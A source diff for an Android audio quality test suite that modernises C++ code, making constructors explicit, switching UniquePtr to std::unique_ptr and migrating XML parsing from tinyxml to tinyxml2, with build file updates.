diff --git a/suite/audio_quality/lib/include/Settings.h b/suite/audio_quality/lib/include/Settings.h
index a8cfea5..6404769 100644
--- a/suite/audio_quality/lib/include/Settings.h
+++ b/suite/audio_quality/lib/include/Settings.h
@@ -32,7 +32,7 @@
         ETEST_XML       = 4, // name of test description xml
         EMAX_SETTINGS   = 4  // not real setting
     };
-    void addSetting(SettingType type, const android::String8 setting);
+    void addSetting(SettingType type, const android::String8& setting);
     const android::String8& getSetting(SettingType type);
 private:
     static Settings* mInstance;
diff --git a/suite/audio_quality/lib/include/audio/AudioPlaybackLocal.h b/suite/audio_quality/lib/include/audio/AudioPlaybackLocal.h
index 94422af..fcfb270 100644
--- a/suite/audio_quality/lib/include/audio/AudioPlaybackLocal.h
+++ b/suite/audio_quality/lib/include/audio/AudioPlaybackLocal.h
@@ -27,7 +27,7 @@
 
 class AudioPlaybackLocal: public AudioLocal {
 public:
-    AudioPlaybackLocal(int hwId);
+    explicit AudioPlaybackLocal(int hwId);
     virtual ~AudioPlaybackLocal();
 protected:
     bool doPrepare(AudioHardware::SamplingRate, int samplesInOneGo);
diff --git a/suite/audio_quality/lib/include/audio/AudioProtocol.h b/suite/audio_quality/lib/include/audio/AudioProtocol.h
index 01e8507..eaf93a8 100644
--- a/suite/audio_quality/lib/include/audio/AudioProtocol.h
+++ b/suite/audio_quality/lib/include/audio/AudioProtocol.h
@@ -102,7 +102,7 @@
 
 class CmdDownload: public AudioProtocol {
 public:
-    CmdDownload(ClientSocket& socket)
+    explicit CmdDownload(ClientSocket& socket)
         : AudioProtocol(socket, ECmdDownload) {};
     virtual ~CmdDownload() {};
     virtual bool sendCommand(AudioParam& param);
@@ -111,7 +111,7 @@
 
 class CmdStartPlayback: public AudioProtocol {
 public:
-    CmdStartPlayback(ClientSocket& socket)
+    explicit CmdStartPlayback(ClientSocket& socket)
         : AudioProtocol(socket, ECmdStartPlayback) {};
     virtual ~CmdStartPlayback() {};
     virtual bool sendCommand(AudioParam& param);
@@ -119,14 +119,14 @@
 
 class CmdStopPlayback: public AudioProtocol {
 public:
-    CmdStopPlayback(ClientSocket& socket)
+    explicit CmdStopPlayback(ClientSocket& socket)
         : AudioProtocol(socket, ECmdStopPlayback) {};
     virtual ~CmdStopPlayback() {};
 };
 
 class CmdStartRecording: public AudioProtocol {
 public:
-    CmdStartRecording(ClientSocket& socket)
+    explicit CmdStartRecording(ClientSocket& socket)
         : AudioProtocol(socket, ECmdStartRecording) {};
     virtual ~CmdStartRecording() {};
 
@@ -137,14 +137,14 @@
 
 class CmdStopRecording: public AudioProtocol {
 public:
-    CmdStopRecording(ClientSocket& socket)
+    explicit CmdStopRecording(ClientSocket& socket)
         : AudioProtocol(socket, ECmdStopRecording) {};
     virtual ~CmdStopRecording() {};
 };
 
 class CmdGetDeviceInfo: public AudioProtocol {
 public:
-    CmdGetDeviceInfo(ClientSocket& socket)
+    explicit CmdGetDeviceInfo(ClientSocket& socket)
         : AudioProtocol(socket, ECmdGetDeviceInfo) {};
     virtual ~CmdGetDeviceInfo() {};
 
diff --git a/suite/audio_quality/lib/include/audio/AudioRecordingLocal.h b/suite/audio_quality/lib/include/audio/AudioRecordingLocal.h
index 614ed6d..e192812 100644
--- a/suite/audio_quality/lib/include/audio/AudioRecordingLocal.h
+++ b/suite/audio_quality/lib/include/audio/AudioRecordingLocal.h
@@ -27,7 +27,7 @@
 
 class AudioRecordingLocal: public AudioLocal {
 public:
-    AudioRecordingLocal(int hwId);
+    explicit AudioRecordingLocal(int hwId);
     virtual ~AudioRecordingLocal();
 protected:
     bool doPrepare(AudioHardware::SamplingRate, int samplesInOneGo);
diff --git a/suite/audio_quality/lib/include/audio/AudioRemote.h b/suite/audio_quality/lib/include/audio/AudioRemote.h
index 1268ee0..f5e6c2e4 100644
--- a/suite/audio_quality/lib/include/audio/AudioRemote.h
+++ b/suite/audio_quality/lib/include/audio/AudioRemote.h
@@ -30,7 +30,7 @@
             int mode = AudioHardware::EModeVoice);
 
 protected:
-    AudioRemote(android::sp<RemoteAudio>& remote);
+    explicit AudioRemote(android::sp<RemoteAudio>& remote);
     virtual ~AudioRemote() {};
 
 protected:
@@ -42,7 +42,7 @@
 
 class AudioRemotePlayback: public AudioRemote {
 public:
-    AudioRemotePlayback(android::sp<RemoteAudio>& remote);
+    explicit AudioRemotePlayback(android::sp<RemoteAudio>& remote);
     virtual ~AudioRemotePlayback() {};
     virtual bool startPlaybackOrRecord(android::sp<Buffer>& buffer, int numberRepetition = 1);
     virtual bool waitForCompletion();
@@ -52,7 +52,7 @@
 
 class AudioRemoteRecording: public AudioRemote {
 public:
-    AudioRemoteRecording(android::sp<RemoteAudio>& remote);
+    explicit AudioRemoteRecording(android::sp<RemoteAudio>& remote);
     virtual ~AudioRemoteRecording() {};
     virtual bool startPlaybackOrRecord(android::sp<Buffer>& buffer, int numberRepetition = 1);
     virtual bool waitForCompletion();
diff --git a/suite/audio_quality/lib/include/audio/Buffer.h b/suite/audio_quality/lib/include/audio/Buffer.h
index 343c502..17c5679 100644
--- a/suite/audio_quality/lib/include/audio/Buffer.h
+++ b/suite/audio_quality/lib/include/audio/Buffer.h
@@ -32,7 +32,7 @@
  */
 class Buffer: public virtual android::RefBase {
 public:
-    Buffer(size_t capacity, size_t size = 0, bool stereo = true);
+    explicit Buffer(size_t capacity, size_t size = 0, bool stereo = true);
 
     virtual ~Buffer();
 
diff --git a/suite/audio_quality/lib/include/audio/RemoteAudio.h b/suite/audio_quality/lib/include/audio/RemoteAudio.h
index 26647c4..be977b2 100644
--- a/suite/audio_quality/lib/include/audio/RemoteAudio.h
+++ b/suite/audio_quality/lib/include/audio/RemoteAudio.h
@@ -40,12 +40,12 @@
 class RemoteAudio: public android::Thread {
 public:
 
-    RemoteAudio(ClientSocket& socket);
+    explicit RemoteAudio(ClientSocket& socket);
     virtual ~RemoteAudio();
 
     /** launch a thread, and connect to host */
     bool init(int port);
-    bool downloadData(const android::String8 name, android::sp<Buffer>& buffer, int& id);
+    bool downloadData(const android::String8& name, android::sp<Buffer>& buffer, int& id);
     // <0 : not found
     int getDataId(const android::String8& name);
     bool startPlayback(bool stereo, int samplingF, int mode, int volume,
diff --git a/suite/audio_quality/lib/include/task/ModelBuilder.h b/suite/audio_quality/lib/include/task/ModelBuilder.h
index c6102d7..c997000 100644
--- a/suite/audio_quality/lib/include/task/ModelBuilder.h
+++ b/suite/audio_quality/lib/include/task/ModelBuilder.h
@@ -21,8 +21,9 @@
 #include <utils/String8.h>
 #include "TaskAll.h"
 
-class TiXmlElement;
-
+namespace tinyxml2 {
+class XMLElement;
+};
 
 class GenericFactory;
 
@@ -33,7 +34,7 @@
 class ModelBuilder {
 public:
     ModelBuilder();
-    ModelBuilder(GenericFactory* factory);
+    explicit ModelBuilder(GenericFactory* factory);
     virtual ~ModelBuilder();
 
     /**
@@ -48,11 +49,11 @@
     };
 
 private:
-    virtual bool parseAttributes(const TiXmlElement& elem, TaskGeneric& task);
-    virtual TaskGeneric* parseGeneric(const TiXmlElement& elem, int tableIndex);
-    virtual TaskCase* parseCase(const TiXmlElement& root);
-    virtual TaskBatch* parseBatch(const TiXmlElement& root, const android::String8& xmlFileName);
-    virtual TaskCase* parseInclude(const TiXmlElement& elem, const android::String8& path);
+    virtual bool parseAttributes(const tinyxml2::XMLElement& elem, TaskGeneric& task);
+    virtual TaskGeneric* parseGeneric(const tinyxml2::XMLElement& elem, int tableIndex);
+    virtual TaskCase* parseCase(const tinyxml2::XMLElement& root);
+    virtual TaskBatch* parseBatch(const tinyxml2::XMLElement& root, const android::String8& xmlFileName);
+    virtual TaskCase* parseInclude(const tinyxml2::XMLElement& elem, const android::String8& path);
 
     struct ParsingInfo {
         const char* name; // XML element name
diff --git a/suite/audio_quality/lib/include/task/TaskAsync.h b/suite/audio_quality/lib/include/task/TaskAsync.h
index 4a8ed32..9651c90 100644
--- a/suite/audio_quality/lib/include/task/TaskAsync.h
+++ b/suite/audio_quality/lib/include/task/TaskAsync.h
@@ -27,7 +27,7 @@
  */
 class TaskAsync: public TaskGeneric {
 public:
-    TaskAsync(TaskType type);
+    explicit TaskAsync(TaskType type);
     virtual ~TaskAsync();
     virtual TaskGeneric::ExecutionResult run();
     virtual bool parseAttribute(const android::String8& name, const android::String8& value);
diff --git a/suite/audio_quality/lib/include/task/TaskCase.h b/suite/audio_quality/lib/include/task/TaskCase.h
index 4e20829..22d94e9 100644
--- a/suite/audio_quality/lib/include/task/TaskCase.h
+++ b/suite/audio_quality/lib/include/task/TaskCase.h
@@ -58,11 +58,11 @@
             ETypeI64
         };
         inline Value(): mType(ETypeDouble) {};
-        inline Value(Type type): mType(type) {};
-        inline Value(double val): mType(ETypeDouble) {
+        inline explicit Value(Type type): mType(type) {};
+        inline explicit Value(double val): mType(ETypeDouble) {
             setDouble(val);
         };
-        inline Value(int64_t val): mType(ETypeI64) {
+        inline explicit Value(int64_t val): mType(ETypeI64) {
             setInt64(val);
         };
         inline Type getType() {
@@ -123,7 +123,7 @@
      */
     bool translateVarName(const android::String8& orig, android::String8& translated);
 
-    void setDetails(android::String8 details);
+    void setDetails(const android::String8& details);
     const android::String8& getDetails() const;
 private:
     void releaseRemoteAudio();
diff --git a/suite/audio_quality/lib/include/task/TaskGeneric.h b/suite/audio_quality/lib/include/task/TaskGeneric.h
index 6f60bcf..af0a500 100644
--- a/suite/audio_quality/lib/include/task/TaskGeneric.h
+++ b/suite/audio_quality/lib/include/task/TaskGeneric.h
@@ -48,7 +48,7 @@
         //no ETaskInclude include does not involve any action.
     };
 
-    TaskGeneric(TaskType type);
+    explicit TaskGeneric(TaskType type);
 
     virtual ~TaskGeneric();
 
diff --git a/suite/audio_quality/lib/include/task/TaskProcess.h b/suite/audio_quality/lib/include/task/TaskProcess.h
index d043d98..724ebd7 100644
--- a/suite/audio_quality/lib/include/task/TaskProcess.h
+++ b/suite/audio_quality/lib/include/task/TaskProcess.h
@@ -18,9 +18,9 @@
 #ifndef CTSAUDIO_TASKPROCESS_H
 #define CTSAUDIO_TASKPROCESS_H
 
+#include <memory>
 #include <vector>
 
-#include <UniquePtr.h>
 #include <utils/StrongPointer.h>
 
 #include "audio/Buffer.h"
@@ -42,15 +42,15 @@
     bool parseParams(std::vector<Param>& list, const char* str, bool isInput);
     //typedef necessary to prevent compiler's confusion
     typedef void* void_ptr;
-    typedef UniquePtr<TaskCase::Value> UniqueValue;
-    typedef UniquePtr<android::sp<Buffer> > UniqueBuffer;
+    typedef std::unique_ptr<TaskCase::Value> UniqueValue;
+    typedef std::unique_ptr<android::sp<Buffer> > UniqueBuffer;
     /// construct Buffers and Values for calling builtin functions.
-    /// all constructed stuffs automatically deleted by the passed UniquePtrs
+    /// all constructed stuffs automatically deleted by the passed std::unique_ptrs.
     bool prepareParams(std::vector<TaskProcess::Param>& list,
             const bool* inputTypes,
-            UniquePtr<void_ptr, DefaultDelete<void_ptr[]> > & ptrs,
-            UniquePtr<UniqueValue, DefaultDelete<UniqueValue[]> > & values,
-            UniquePtr<UniqueBuffer, DefaultDelete<UniqueBuffer[]> > & buffers,
+            std::unique_ptr<void_ptr[]>& ptrs,
+            std::unique_ptr<UniqueValue[]>& values,
+            std::unique_ptr<UniqueBuffer[]>& buffers,
             bool isInput);
 
 private:
@@ -69,7 +69,7 @@
     class Param {
     public:
         Param(ParamType type, android::String8& string);
-        Param(TaskCase::Value& val);
+        explicit Param(TaskCase::Value& val);
         ParamType getType();
         android::String8& getParamString();
         TaskCase::Value& getValue();
@@ -86,7 +86,7 @@
     std::vector<Param> mInput;
     std::vector<Param> mOutput;
     BuiltinProcessing mBuiltin;
-    UniquePtr<SignalProcessingInterface> mSp;
+    std::unique_ptr<SignalProcessingInterface> mSp;
 };
 
 
diff --git a/suite/audio_quality/lib/src/Adb.h b/suite/audio_quality/lib/src/Adb.h
index 59d4b9b..c85b9f7 100644
--- a/suite/audio_quality/lib/src/Adb.h
+++ b/suite/audio_quality/lib/src/Adb.h
@@ -24,7 +24,7 @@
 public:
     /// device: device number typically passed in adb's -s argument.
     /// if device string is empty, adb command will be called without -s option.
-    Adb(const android::String8& device);
+    explicit Adb(const android::String8& device);
     ~Adb();
     bool setPortForwarding(int hostPort, int devicePort);
     /// install given clientBinary to DUT and launch given component.
diff --git a/suite/audio_quality/lib/src/GenericFactory.cpp b/suite/audio_quality/lib/src/GenericFactory.cpp
index 2402055..d70d907 100644
--- a/suite/audio_quality/lib/src/GenericFactory.cpp
+++ b/suite/audio_quality/lib/src/GenericFactory.cpp
@@ -69,3 +69,6 @@
     LOGD("GenericFactory::createTask 0x%x, type %d", task, type);
     return task;
 }
+
+GenericFactory::~GenericFactory() {
+}
diff --git a/suite/audio_quality/lib/src/RWBuffer.h b/suite/audio_quality/lib/src/RWBuffer.h
index 8b9d2a0..8065e3e 100644
--- a/suite/audio_quality/lib/src/RWBuffer.h
+++ b/suite/audio_quality/lib/src/RWBuffer.h
@@ -25,7 +25,7 @@
 /// utility for R/W buffer
 class RWBuffer {
 public:
-    RWBuffer(int capacity)
+    explicit RWBuffer(int capacity)
         : mCapacity(capacity),
           mWrPoint(0),
           mRdPoint(0) {
diff --git a/suite/audio_quality/lib/src/Settings.cpp b/suite/audio_quality/lib/src/Settings.cpp
index 42dd30e..7af4c08 100644
--- a/suite/audio_quality/lib/src/Settings.cpp
+++ b/suite/audio_quality/lib/src/Settings.cpp
@@ -34,7 +34,7 @@
 }
 
 
-void Settings::addSetting(SettingType type, const android::String8 setting)
+void Settings::addSetting(SettingType type, const android::String8& setting)
 {
     mSettings[type] = setting;
 }
diff --git a/suite/audio_quality/lib/src/SignalProcessingImpl.h b/suite/audio_quality/lib/src/SignalProcessingImpl.h
index 29b410e..2b8b8e0 100644
--- a/suite/audio_quality/lib/src/SignalProcessingImpl.h
+++ b/suite/audio_quality/lib/src/SignalProcessingImpl.h
@@ -17,7 +17,7 @@
 #ifndef CTSAUDIO_SIGNALPROCESSINGIMPL_H
 #define CTSAUDIO_SIGNALPROCESSINGIMPL_H
 
-#include <UniquePtr.h>
+#include <memory>
 #include <utils/String8.h>
 
 #include "SignalProcessingInterface.h"
@@ -46,7 +46,7 @@
 
 private:
     static const int SCRIPT_PORT = 15010;
-    UniquePtr<ClientSocket> mSocket;
+    std::unique_ptr<ClientSocket> mSocket;
     pid_t mChildPid;
     bool mChildRunning;
     RWBuffer mBuffer;
diff --git a/suite/audio_quality/lib/src/audio/AudioProtocol.cpp b/suite/audio_quality/lib/src/audio/AudioProtocol.cpp
index 25c1422..26ce5c5 100644
--- a/suite/audio_quality/lib/src/audio/AudioProtocol.cpp
+++ b/suite/audio_quality/lib/src/audio/AudioProtocol.cpp
@@ -18,7 +18,7 @@
 #include <sys/types.h>
 #include <sys/socket.h>
 
-#include <UniquePtr.h>
+#include <memory>
 #include <utils/StrongPointer.h>
 
 #include "audio/Buffer.h"
@@ -183,7 +183,7 @@
     }
     int len = ntohl(data[2]);
 
-    UniquePtr<char, DefaultDelete<char[]> > infoString(new char[len + 1]);
+    std::unique_ptr<char[]> infoString(new char[len + 1]);
     if (!readData(infoString.get(), len)) {
         return false;
     }
diff --git a/suite/audio_quality/lib/src/audio/RemoteAudio.cpp b/suite/audio_quality/lib/src/audio/RemoteAudio.cpp
index ead04b91..56758fb 100644
--- a/suite/audio_quality/lib/src/audio/RemoteAudio.cpp
+++ b/suite/audio_quality/lib/src/audio/RemoteAudio.cpp
@@ -193,7 +193,7 @@
 }
 
 
-bool RemoteAudio::downloadData(const android::String8 name, android::sp<Buffer>& buffer, int& id)
+bool RemoteAudio::downloadData(const android::String8& name, android::sp<Buffer>& buffer, int& id)
 {
     CommandHandler* handler = reinterpret_cast<CommandHandler*>(mDownloadHandler.get());
     id = mDownloadId;
diff --git a/suite/audio_quality/lib/src/task/ModelBuilder.cpp b/suite/audio_quality/lib/src/task/ModelBuilder.cpp
index 6f34f5c..f1a506b 100644
--- a/suite/audio_quality/lib/src/task/ModelBuilder.cpp
+++ b/suite/audio_quality/lib/src/task/ModelBuilder.cpp
@@ -14,14 +14,16 @@
  * the License.
  */
 
-#include <tinyxml.h>
+#include <tinyxml2.h>
 
-#include <UniquePtr.h>
+#include <memory>
 
 #include "Log.h"
 #include "GenericFactory.h"
 #include "task/ModelBuilder.h"
 
+using namespace tinyxml2;
+
 static const int MAX_NO_CHILDREN = 8;
 static const ModelBuilder::ChildInfo CASE_TABLE[] = {
     { TaskGeneric::ETaskSetup, true },
@@ -83,12 +85,13 @@
 TaskGeneric* ModelBuilder::parseTestDescriptionXml(const android::String8& xmlFileName,
         bool caseOnly)
 {
-    TiXmlDocument doc(xmlFileName.string());
-    if (!doc.LoadFile()) {
-        LOGE("ModelBuilder::parseTestDescriptionXml cannot load file %s", xmlFileName.string());
+    XMLDocument doc;
+    int error = doc.LoadFile(xmlFileName.string());
+    if (error != XML_SUCCESS) {
+        LOGE("ModelBuilder::parseTestDescriptionXml cannot load file %s: %d", xmlFileName.string(), error);
         return NULL;
     }
-    const TiXmlElement* root;
+    const XMLElement* root;
     if ((root = doc.FirstChildElement("case")) != NULL) {
         return parseCase(*root);
     } else if (!caseOnly && ((root = doc.FirstChildElement("batch")) != NULL)) {
@@ -99,11 +102,11 @@
     }
 }
 
-TaskGeneric* ModelBuilder::parseGeneric(const TiXmlElement& self, int tableIndex)
+TaskGeneric* ModelBuilder::parseGeneric(const XMLElement& self, int tableIndex)
 {
     TaskGeneric::TaskType typeSelf(mParsingTable[tableIndex].type);
     int Nchildren = mParsingTable[tableIndex].Nchildren;
-    UniquePtr<TaskGeneric> taskSelf(mFactory->createTask(typeSelf));
+    std::unique_ptr<TaskGeneric> taskSelf(mFactory->createTask(typeSelf));
     if (taskSelf.get() == NULL) {
         return NULL;
     }
@@ -118,7 +121,7 @@
     }
 
     // handle children
-    const TiXmlElement* child = self.FirstChildElement();
+    const XMLElement* child = self.FirstChildElement();
     while (child != NULL) {
         TaskGeneric::TaskType childType(TaskGeneric::ETaskInvalid);
         int i;
@@ -148,7 +151,7 @@
                     typeSelf);
             return NULL;
         }
-        UniquePtr<TaskGeneric> taskChild(parseGeneric(*child, i));
+        std::unique_ptr<TaskGeneric> taskChild(parseGeneric(*child, i));
         if (taskChild.get() == NULL) {
             LOGE("ModelBuilder::parseGeneric failed in parsing child type %d for type %d",
                     childType, typeSelf);
@@ -175,16 +178,16 @@
 }
 
 
-TaskCase* ModelBuilder::parseCase(const TiXmlElement& root)
+TaskCase* ModelBuilder::parseCase(const XMLElement& root)
 {
     // position 0 of mParsingTable should be "case"
     return reinterpret_cast<TaskCase*>(parseGeneric(root, 0));
 }
 
 
-TaskBatch* ModelBuilder::parseBatch(const TiXmlElement& root, const android::String8& xmlFileName)
+TaskBatch* ModelBuilder::parseBatch(const XMLElement& root, const android::String8& xmlFileName)
 {
-    UniquePtr<TaskBatch> batch(
+    std::unique_ptr<TaskBatch> batch(
             reinterpret_cast<TaskBatch*>(mFactory->createTask(TaskGeneric::ETaskBatch)));
     if (batch.get() == NULL) {
         LOGE("ModelBuilder::handleBatch cannot create TaskBatch");
@@ -194,14 +197,14 @@
         return NULL;
     }
 
-    const TiXmlElement* inc = root.FirstChildElement("include");
+    const XMLElement* inc = root.FirstChildElement("include");
     if (inc == NULL) {
         LOGE("ModelBuilder::handleBatch no include inside batch");
         return NULL;
     }
     android::String8 path = xmlFileName.getPathDir();
 
-    UniquePtr<TaskCase> testCase;
+    std::unique_ptr<TaskCase> testCase;
     int i = 0;
     while (1) {
         if (inc == NULL) {
@@ -231,7 +234,7 @@
     return batch.release();
 }
 
-TaskCase* ModelBuilder::parseInclude(const TiXmlElement& elem, const android::String8& path)
+TaskCase* ModelBuilder::parseInclude(const XMLElement& elem, const android::String8& path)
 {
     const char* fileName = elem.Attribute("file");
     if (fileName == NULL) {
@@ -245,9 +248,9 @@
     return reinterpret_cast<TaskCase*>(parseTestDescriptionXml(incFile, true));
 }
 
-bool ModelBuilder::parseAttributes(const TiXmlElement& elem, TaskGeneric& task)
+bool ModelBuilder::parseAttributes(const XMLElement& elem, TaskGeneric& task)
 {
-    const TiXmlAttribute* attr = elem.FirstAttribute();
+    const XMLAttribute* attr = elem.FirstAttribute();
     while (1) {
         if (attr == NULL) {
             break;
diff --git a/suite/audio_quality/lib/src/task/TaskCase.cpp b/suite/audio_quality/lib/src/task/TaskCase.cpp
index 5f9de97..861802d 100644
--- a/suite/audio_quality/lib/src/task/TaskCase.cpp
+++ b/suite/audio_quality/lib/src/task/TaskCase.cpp
@@ -292,7 +292,7 @@
     mClient = NULL;
 }
 
-void TaskCase::setDetails(android::String8 details)
+void TaskCase::setDetails(const android::String8& details)
 {
     mDetails = details;
 }
diff --git a/suite/audio_quality/lib/src/task/TaskDownload.cpp b/suite/audio_quality/lib/src/task/TaskDownload.cpp
index dacefc5..2973f17 100644
--- a/suite/audio_quality/lib/src/task/TaskDownload.cpp
+++ b/suite/audio_quality/lib/src/task/TaskDownload.cpp
@@ -14,7 +14,6 @@
  * the License.
  */
 
-#include <UniquePtr.h>
 #include "Log.h"
 #include "audio/AudioSignalFactory.h"
 #include "audio/RemoteAudio.h"
diff --git a/suite/audio_quality/lib/src/task/TaskProcess.cpp b/suite/audio_quality/lib/src/task/TaskProcess.cpp
index 061dda5..816e920 100644
--- a/suite/audio_quality/lib/src/task/TaskProcess.cpp
+++ b/suite/audio_quality/lib/src/task/TaskProcess.cpp
@@ -16,6 +16,7 @@
 #include <stdlib.h>
 #include <string.h>
 
+#include <memory>
 #include <vector>
 
 #include "Log.h"
@@ -52,9 +53,9 @@
 // Allocate Buffers and Values to pass to builtin functions
 bool TaskProcess::prepareParams(std::vector<TaskProcess::Param>& list,
         const bool* paramTypes,
-        UniquePtr<void_ptr, DefaultDelete<void_ptr[]> > & ptrs,
-        UniquePtr<UniqueValue, DefaultDelete<UniqueValue[]> > & values,
-        UniquePtr<UniqueBuffer, DefaultDelete<UniqueBuffer[]> > & buffers,
+        std::unique_ptr<void_ptr[]>& ptrs,
+        std::unique_ptr<UniqueValue[]>& values,
+        std::unique_ptr<UniqueBuffer[]>& buffers,
         bool isInput)
 {
     size_t N = list.size();
@@ -92,7 +93,7 @@
         }
         switch(list[i].getType()) {
         case EId: {
-            UniquePtr<android::sp<Buffer> > buffer(new android::sp<Buffer>());
+            std::unique_ptr<android::sp<Buffer> > buffer(new android::sp<Buffer>());
             if (buffer.get() == NULL) {
                 LOGE("alloc failed");
                 return false;
@@ -166,17 +167,17 @@
         }
     }
     // This is for passing to builtin fns. Just void pts will be cleared in exit
-    UniquePtr<void_ptr, DefaultDelete<void_ptr[]> > inputs;
+    std::unique_ptr<void_ptr[]> inputs;
     // This is for holding Value instances. Will be destroyed in exit
-    UniquePtr<UniqueValue, DefaultDelete<UniqueValue[]> > inputValues;
+    std::unique_ptr<UniqueValue[]> inputValues;
     // This is for holding android::sp<Buffer>. Buffer itself is from the global map.
-    UniquePtr<UniqueBuffer, DefaultDelete<UniqueBuffer[]> > inputBuffers;
+    std::unique_ptr<UniqueBuffer[]> inputBuffers;
 
-    UniquePtr<void_ptr, DefaultDelete<void_ptr[]> > outputs;
+    std::unique_ptr<void_ptr[]> outputs;
     // Value is created here. Builtin function just need to set it.
-    UniquePtr<UniqueValue, DefaultDelete<UniqueValue[]> > outputValues;
+    std::unique_ptr<UniqueValue[]> outputValues;
     // Buffer itself should be allocated by the builtin function itself.
-    UniquePtr<UniqueBuffer, DefaultDelete<UniqueBuffer[]> > outputBuffers;
+    std::unique_ptr<UniqueBuffer[]> outputBuffers;
 
     if (!prepareParams(mInput, builtIn ? info->mInputTypes : NULL, inputs, inputValues,
             inputBuffers, true)) {
@@ -192,11 +193,11 @@
     if (builtIn) {
         result = (mBuiltin.*(info->mFunction))(inputs.get(), outputs.get());
     } else {
-        UniquePtr<bool, DefaultDelete<bool[]> > inputTypes(new bool[mInput.size()]);
+        std::unique_ptr<bool[]> inputTypes(new bool[mInput.size()]);
         for (size_t i = 0; i < mInput.size(); i++) {
             (inputTypes.get())[i] = mInput[i].isIdType();
         }
-        UniquePtr<bool, DefaultDelete<bool[]> > outputTypes(new bool[mOutput.size()]);
+        std::unique_ptr<bool[]> outputTypes(new bool[mOutput.size()]);
         for (size_t i = 0; i < mOutput.size(); i++) {
             (outputTypes.get())[i] = mOutput[i].isIdType();
         }
@@ -245,14 +246,15 @@
 {
     LOGV("TaskProcess::parseParams will parse %s", str);
     android::String8 paramStr(str);
-    UniquePtr<std::vector<android::String8> > paramTokens(StringUtil::split(paramStr, ','));
+    std::unique_ptr<std::vector<android::String8>> paramTokens(StringUtil::split(paramStr, ','));
     if (paramTokens.get() == NULL) {
         LOGE("split failed");
         return false;
     }
     std::vector<android::String8>& tokens = *(paramTokens.get());
     for (size_t i = 0; i < tokens.size(); i++) {
-        UniquePtr<std::vector<android::String8> > itemTokens(StringUtil::split(tokens[i], ':'));
+        std::unique_ptr<std::vector<android::String8>> itemTokens(StringUtil::split(tokens[i],
+                                                                                    ':'));
         if (itemTokens.get() == NULL) {
             LOGE("split failed");
             return false;
@@ -294,7 +296,7 @@
 bool TaskProcess::parseAttribute(const android::String8& name, const android::String8& value)
 {
     if (StringUtil::compare(name, "method") == 0) {
-        UniquePtr<std::vector<android::String8> > tokenPtr(StringUtil::split(value, ':'));
+        std::unique_ptr<std::vector<android::String8> > tokenPtr(StringUtil::split(value, ':'));
         std::vector<android::String8>* tokens = tokenPtr.get();
         if (tokens == NULL) {
             LOGE("split failed");
diff --git a/suite/audio_quality/lib/src/task/TaskSave.cpp b/suite/audio_quality/lib/src/task/TaskSave.cpp
index 156e554..18dfb5e 100644
--- a/suite/audio_quality/lib/src/task/TaskSave.cpp
+++ b/suite/audio_quality/lib/src/task/TaskSave.cpp
@@ -18,7 +18,7 @@
 #include <sys/types.h>
 #include <errno.h>
 
-#include <UniquePtr.h>
+#include <memory>
 
 #include "Log.h"
 #include "FileUtil.h"
@@ -51,7 +51,7 @@
         return true; // true as there is no need to save
     }
 
-    UniquePtr<std::vector<android::String8> > list(StringUtil::split(fileValue, ','));
+    std::unique_ptr<std::vector<android::String8> > list(StringUtil::split(fileValue, ','));
     std::vector<android::String8>* listp = list.get();
     if (listp == NULL) {
         LOGE("alloc failed");
@@ -75,7 +75,7 @@
     }
 
     for (size_t i = 0; i < listp->size(); i++) {
-        UniquePtr<std::list<TaskCase::BufferPair> > buffers(
+        std::unique_ptr<std::list<TaskCase::BufferPair> > buffers(
                 getTestCase()->findAllBuffers((*listp)[i]));
         std::list<TaskCase::BufferPair>* buffersp = buffers.get();
         if (buffersp == NULL) {
@@ -104,7 +104,7 @@
         return true; // true as there is no need to save
     }
 
-    UniquePtr<std::vector<android::String8> > list(StringUtil::split(reportValue, ','));
+    std::unique_ptr<std::vector<android::String8> > list(StringUtil::split(reportValue, ','));
     std::vector<android::String8>* listp = list.get();
     if (listp == NULL) {
         LOGE("alloc failed");
@@ -113,7 +113,7 @@
     MSG("=== Values stored ===");
     android::String8 details;
     for (size_t i = 0; i < listp->size(); i++) {
-        UniquePtr<std::list<TaskCase::ValuePair> > values(
+        std::unique_ptr<std::list<TaskCase::ValuePair> > values(
                 getTestCase()->findAllValues((*listp)[i]));
         std::list<TaskCase::ValuePair>* valuesp = values.get();
         if (valuesp == NULL) {
diff --git a/suite/audio_quality/lib/src/task/TaskSound.cpp b/suite/audio_quality/lib/src/task/TaskSound.cpp
index 8dd9b4a..58b0364 100644
--- a/suite/audio_quality/lib/src/task/TaskSound.cpp
+++ b/suite/audio_quality/lib/src/task/TaskSound.cpp
@@ -14,7 +14,7 @@
  * the License.
  */
 
-#include <UniquePtr.h>
+#include <memory>
 #include "Log.h"
 #include "audio/AudioSignalFactory.h"
 #include "audio/RemoteAudio.h"
@@ -61,7 +61,7 @@
         LOGE("TaskSound::run %s string not found", STR_TYPE.string());
         return TaskGeneric::EResultError;
     }
-    UniquePtr<std::vector<android::String8> > tokens(StringUtil::split(type, ':'));
+    std::unique_ptr<std::vector<android::String8> > tokens(StringUtil::split(type, ':'));
     if (tokens.get() == NULL) {
         LOGE("alloc failed");
         return TaskGeneric::EResultError;
diff --git a/suite/audio_quality/test/Android.mk b/suite/audio_quality/test/Android.mk
index 21b0250..f8fe13c 100644
--- a/suite/audio_quality/test/Android.mk
+++ b/suite/audio_quality/test/Android.mk
@@ -19,15 +19,24 @@
 LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
 
 #$(info $(LOCAL_SRC_FILES))
-LOCAL_C_INCLUDES += $(LOCAL_PATH)/../lib/include $(LOCAL_PATH)/../lib/src external/gtest/include \
-    external/tinyalsa/include/  libcore/include
-LOCAL_STATIC_LIBRARIES := libutils libgtest_host libgtest_main_host  liblog libcutils libtinyalsa \
-    libtinyxml
+LOCAL_C_INCLUDES := \
+    $(LOCAL_PATH)/../lib/include \
+    $(LOCAL_PATH)/../lib/src \
+
+LOCAL_STATIC_LIBRARIES := \
+    libutils \
+    liblog \
+    libcutils \
+    libtinyalsa \
+    libtinyxml2 \
+
 # need to keep everything in libcts_.. Otherwise, linker will drop some
 # functions and linker error happens
 LOCAL_WHOLE_STATIC_LIBRARIES := libcts_audio_quality
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_CFLAGS:= -g -fno-exceptions -Wno-unused-parameter
 LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions -lpthread
+LOCAL_CXX_STL := libc++_static
 LOCAL_MODULE_HOST_OS := linux
-LOCAL_MODULE:= cts_audio_quality_test
-include $(BUILD_HOST_EXECUTABLE)
+LOCAL_MODULE := cts_audio_quality_test
+LOCAL_MULTILIB := first
+include $(BUILD_HOST_NATIVE_TEST)
